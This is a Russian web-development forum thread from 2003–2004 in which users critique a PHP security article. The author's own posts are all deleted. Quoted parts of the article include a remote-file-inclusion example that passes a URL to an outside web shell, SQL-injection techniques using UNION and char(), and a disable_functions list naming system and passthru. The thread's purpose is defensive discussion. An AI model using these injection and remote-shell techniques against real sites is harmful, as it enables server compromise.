Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Интернет » Web-программирование » DEL

Модерирует : Cheery

 Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10

Открыть новую тему     Написать ответ в эту тему

Terabyte



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
DEL

Всего записей: 1325 | Зарегистр. 09-09-2002 | Отправлено: 11:27 02-11-2003 | Исправлено: Terabyte, 21:20 31-08-2017
Terabyte



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
DEL

Всего записей: 1325 | Зарегистр. 09-09-2002 | Отправлено: 18:18 02-11-2003 | Исправлено: Terabyte, 21:21 31-08-2017
Sergeant

Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Terabyte,
Неужели на том же phpclub'е тебе еще не дали эту ссылку?

----------
Если вы спорите с идиотом,
Наверняка, он занимается тем же самым.

Всего записей: 1553 | Зарегистр. 06-08-2001 | Отправлено: 01:39 03-11-2003
Terabyte



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
DEL

Всего записей: 1325 | Зарегистр. 09-09-2002 | Отправлено: 06:54 03-11-2003 | Исправлено: Terabyte, 21:21 31-08-2017
Terabyte



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
DEL

Всего записей: 1325 | Зарегистр. 09-09-2002 | Отправлено: 19:32 30-01-2004 | Исправлено: Terabyte, 21:21 31-08-2017
Terabyte



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
DEL

Всего записей: 1325 | Зарегистр. 09-09-2002 | Отправлено: 16:13 31-01-2004 | Исправлено: Terabyte, 21:22 31-08-2017
xntx



хнотик-багоискатель
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Terabyte
обьяснись...
а то, ответ на твой вопрос таков: по дефолты все переменные NULL
 
Добавлено

Цитата:
А вообще теоретически ведь можно вставить закрывающую кавычку и внедрить новый СКЛ код с помощью char() или нет?

а как ты вставишь функцию так, чтоб она выполнилась?

----------
Hello world!

Всего записей: 5169 | Зарегистр. 15-02-2003 | Отправлено: 16:48 31-01-2004
Terabyte



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
DEL

Всего записей: 1325 | Зарегистр. 09-09-2002 | Отправлено: 17:50 31-01-2004 | Исправлено: Terabyte, 21:22 31-08-2017
xntx



хнотик-багоискатель
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Terabyte
фигня начинается уже с первой "части"

Цитата:
Хакеру просто остается создать на своем хосте PHP-файл с веб-шелом (http://www.web-hack.ru/download/info.php?go=77) и передать в параметре к скрипту адрес своего веб-шела (например, qwe.php?file=http://web-hack.ru/shell.php). Правда в этой ситуации жертву может спасти, то что в конфиге PHP запрещено инклудить файл с других серверов.  

интересно, а как это можно инклудить файлы с других серверов? это с каких пор?

Цитата:
В таких случаях можно использовать конструкцию с оператором case,

а может все таки надо использовать "switch"?
 
Добавлено

Цитата:
Все выше описанное, так же относится к ф-циям: fonen(),

очепятка: fopen()

Цитата:
.к. с MSSQL я не работаю и она дает куда больше возможностей для хакера, чем MySQL.


убедительная просьба: расскажи чем это mssql хуже mysql?

Цитата:
Кстати, в MSSQL злоумышленниц мог бы поставить символ ";" (означающий конец команды) и внедрить новую (например, INSERT, UPDATE и т.п.).

хм, а что в mysql нельзя вставить символ ";"

Цитата:
Если переменная является числом, то обезопасить ее можно очень легко, необходимо просто средствами PHP привести ее к числовому типу:  
$go=(int)$go;  

или $go = intval($go);...

Цитата:
на основные ф-ции в MySQL, которые используются для инъекций: UNOIN и CHAR.

1. блин, как задалбывают твои сокращения типа "ф-ции"... ты статью пишешь или смску?
2. всетаки, обьясни что ты с char хочешь делать??

Цитата:
Шифруйте исходники на PHP и особенно конфиги с помощью Zend (http://www.zend.com).  

скорее всего т хотел сказать с помощью "Zend Optimizer"...
 
Добавлено
вобщем мое мнение: статья - фигня. оценка - 2 балла
 
Добавлено
а как мне интересно стало увидить в живую удаленный инклуд... жуть

----------
Hello world!

Всего записей: 5169 | Зарегистр. 15-02-2003 | Отправлено: 23:36 31-01-2004
Adaman

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
интересно, а как это можно инклудить файлы с других серверов? это с каких пор?  

Всегда можно было. http://ru.php.net/include/
Цитата:
If "URL fopen wrappers" are enabled in PHP (which they are in the default configuration), you can specify the file to be included using an URL (via HTTP or other supported wrapper - see Appendix I for a list of protocols) instead of a local pathname. If the target server interprets the target file as PHP code, variables may be passed to the included file using an URL request string as used with HTTP GET. This is not strictly speaking the same thing as including the file and having it inherit the parent file's variable scope; the script is actually being run on the remote server and the result is then being included into the local script.

 

Цитата:
хм, а что в mysql нельзя вставить символ ";"  
Не знаю как там с mssql_query(), но c mysql_query() нельзя использовать в одном запросе ; http://ru.php.net/mysql_query Комменты юзеров - там и описание этого, и способы обхода.

Всего записей: 17 | Зарегистр. 08-03-2003 | Отправлено: 03:32 01-02-2004 | Исправлено: Adaman, 03:48 01-02-2004
xntx



хнотик-багоискатель
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Adaman
эм, значит так... файл не инклудится, а инклудится его результат, совсем разные вещи.
это "дыра" такая же как и register_globals и поэтому всегда надо перед тем как юзать $file надо делать $file = ''; или $file = 0; (для каждого случая свое..)
вобщем это тоже самое что и называть дырой то, что программер создает файл config.txt (а то и config.htm) в котором он будет хранить пароли к mysql...
 

Цитата:
Не знаю как там с mssql_query(), но c mysql_query() нельзя использовать в одном запросе ; http://ru.php.net/mysql_query  Комменты юзеров - там и описание этого, и способы обхода.  

сам никогда не пробовал, просто знаю что через такие вещи как mysql admin можно запустить сразу два квери...

----------
Hello world!

Всего записей: 5169 | Зарегистр. 15-02-2003 | Отправлено: 04:00 01-02-2004
Terabyte



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
DEL

Всего записей: 1325 | Зарегистр. 09-09-2002 | Отправлено: 11:48 01-02-2004 | Исправлено: Terabyte, 21:22 31-08-2017
xntx



хнотик-багоискатель
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Terabyte

Цитата:
кинуть в ПМ кокретный сайт с такой уязвимотью на котормо я шелл с правами апача этим имею?

да плиз, просто интересно

Цитата:
кавычку чаром ставить можно  

да нельзя ее вставить, пойми, если кавычку чаром вставим, то она кавычкой станет уже после обработки запроса, так что нам это не пойдет...

Цитата:
Ну начиная тем, что ;  

уже не хуже, уже везде есть mysql 4.0 UNION;)

Цитата:
в за просах mysql_query() нельзя.  

а незнал...

Цитата:
Вот для примера - http://www.securitylab.ru/41501.html  

там mysql , а вот теперь я тебе обьясню зачем там чар: а он там нужен чтоб вернуть скрипту значение с кавычкой, а не для того запустить sql с кавычкой, вот вобщем:
делаем запрос:

Код:
SELECT char( 97, 58, 55, 58, 123, 115, 58, 49, 52, 58, 34, 115, 101, 97, 114, 99, 104, 95, 114, 101, 115, 117, 108, 116, 115, 34, 59, 115, 58, 49, 58, 34, 49, 34, 59, 115, 58, 49, 55, 58, 34, 116, 111, 116, 97, 108, 95, 109, 97, 116, 99, 104, 95, 99, 111, 117, 110, 116, 34, 59, 105, 58, 53, 59, 115, 58, 49, 50, 58, 34, 115, 112, 108, 105, 116, 95, 115, 101, 97, 114, 99, 104, 34, 59, 97, 58, 49, 58, 123, 105, 58, 48, 59, 115, 58, 51, 50, 58, 34 )  

и скрипт получает:

Код:
a:7:{s:14:"search_results";s:1:"1";s:17:"total_match_count";i:5;s:12:"split_search";a:1:{i:0;s:32:"

а это как раз то чтоб он и ожидал получить, понимаешь?
вобщем в сам запрос кавычку не вставишь, ее можно в результат... щас с утра трудно обьяснять но если надо могу по больше разжевать.
 

Цитата:
Ага, писать было лень уже просто =) регил сократить =)))

ну это е дело, это же статья... надо полностью писать.
 

Цитата:
А что так? Какие бы ты раздел (добавления) хотел видеть еще в ней для общей полноты каритны?

1. оформить вид, чтоб небыло сокращенмий и реультатов твоей ленивости
2. убрать спорные выражения, типа mssql лечге хакнуть чем mysql итп
3. добавить межсайтовый скриптинг
4. ну и про удаленные шеллы я молчу, может еще докажешь что такое бывает...

----------
Hello world!

Всего записей: 5169 | Зарегистр. 15-02-2003 | Отправлено: 12:56 01-02-2004
Terabyte



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
DEL

Всего записей: 1325 | Зарегистр. 09-09-2002 | Отправлено: 13:24 01-02-2004 | Исправлено: Terabyte, 21:22 31-08-2017
Swappp

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Terabyte
В целом не плохо, только по этой теме уже столько написано...

Цитата:
Желательно не создавать конфиги, которые можно прочесть из веба. Конфиг надо класть выше папки веб-сервера или создавать в таком типе файла, который нельзя прочесть из браузера (например, *.inc не на всех веб-серверах запускается, как PHP-скрипт, а просто открывается как текстовый файл). Так что давайте имена таким файлам с расширением *.php.

на самом деле это можно решить Unix правами, правда не все хостеры правильно настраивают свои сервера

Цитата:
По возможности держите ваш PHP в режиме safe mode (safe_mode=on).

ну с этим ты погорячился, safe_mode слишком мало позволяет, чтобы пускать на нем серьезные скрипты.

Цитата:
и возможность fonen() открывать адреса из веба (allow_url_fopen=off).

это тоже часто нужная вещь.

Цитата:
Еще можно запретить опасные ф-ции:
disable_functions=phpinfo,system,passthru

опять перебор, во первых exec пропустил, во вторых я phpinfo иногда использую при отладки скрипта на сервере (не всегда же помнить конфигурацию )

Цитата:
8) Если пишите гостевуху и т.п., то не забывайте ставить фильтрацию во всех формах (ник, мыло и т.д.) на теги с помощь ф-ции htmlspecialchars(). Кстати, если в теле сообщений нужно использовать теги, то лучше сделать свои (типа ... и т.д.), а не делать фильтры на запрещение не нужных.  

здесь вообще все просто. strip_tags($text, '<br><b><i><u>') и не надо изобретать псевдо-язык разметки.
 
Ну и еще одно правило "Проверяйте все данные передаваемые пользователем!"
xntx

Цитата:
2. убрать спорные выражения, типа mssql лечге хакнуть чем mysql итп  

Флеймообразующие врядли кто-нибудь будет спорить, что чем сложнее программа тем больше вероятности совершить ошибку. а если посмотреть как часто выходят релизы mysql 3 ветки, и mssql, то создается ощущение что MS пишет идеально защищенные проги, в которых после релиза не находят ни одной дырки... сорри на флейм потянуло

Всего записей: 1716 | Зарегистр. 02-11-2001 | Отправлено: 13:57 01-02-2004 | Исправлено: Swappp, 14:00 01-02-2004
Terabyte



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
DEL

Всего записей: 1325 | Зарегистр. 09-09-2002 | Отправлено: 14:09 01-02-2004 | Исправлено: Terabyte, 21:22 31-08-2017
Adaman

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
xntx

Цитата:
эм, значит так... файл не инклудится, а инклудится его результат, совсем разные вещи.
Ну да - только в мане это все равно называют инклудом.
 

Цитата:
вобщем это тоже самое что и называть дырой то, что программер создает файл config.txt (а то и config.htm) в котором он будет хранить пароли к mysql...
Ну естественно. В пхп дыр нет - есть дыры в мозгах програмиста.
 

Цитата:
сам никогда не пробовал, просто знаю что через такие вещи как mysql admin можно запустить сразу два квери...
Через mysql admin можно, но они там специально обрабатывают запросы с точкой запятой. Просто так нельзя.

Всего записей: 17 | Зарегистр. 08-03-2003 | Отправлено: 17:24 01-02-2004
Terabyte



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
DEL

Всего записей: 1325 | Зарегистр. 09-09-2002 | Отправлено: 21:20 01-02-2004 | Исправлено: Terabyte, 21:23 31-08-2017
Swappp

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Terabyte

Цитата:
Я не понял, что ты этим хочешь сказть =)

ну и хорошо, меньше флейма может будет
xntx

Цитата:
а как мне интересно стало увидить в живую удаленный инклуд... жуть
 

только что попробовал на локалхосте, действует также как и с локальными файлами, тоесть скачивает, а потом выполняет! единственное, если файл .php то серверу не дается код, а отдается результат, а если .txt или .html то все работает.

Всего записей: 1716 | Зарегистр. 02-11-2001 | Отправлено: 21:33 01-02-2004
Adaman

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Кокраз файл инклудится.
Вообщем проблема в терминологии. Как на самом деле происходит доступно напиано в мане.
 

Цитата:
Ну да алдно нет, еще как есть. Уже дофига критических нашли. почитай багтраки. Забыл что ли о эксплоите от Тесо?
Отлично. Впред - сломай-ка php.net.

Всего записей: 17 | Зарегистр. 08-03-2003 | Отправлено: 21:58 01-02-2004
Открыть новую тему     Написать ответ в эту тему

Страницы: 1 2 3 4 5 6 7 8 9 10

Компьютерный форум Ru.Board » Интернет » Web-программирование » DEL


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2025

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru